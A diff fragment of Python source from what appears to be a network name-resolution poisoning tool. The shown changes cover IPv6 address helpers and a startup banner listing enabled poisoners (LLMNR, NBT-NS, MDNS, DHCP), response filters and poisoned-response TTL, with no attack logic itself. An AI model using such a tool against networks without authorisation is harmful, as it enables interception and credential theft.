with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
@@ -234,7 +247,6 @@ def FindLocalIP6(Iface, OURIP):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
@@ -485,9 +497,9 @@ def StartupMessage():
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@@ -550,6 +562,12 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")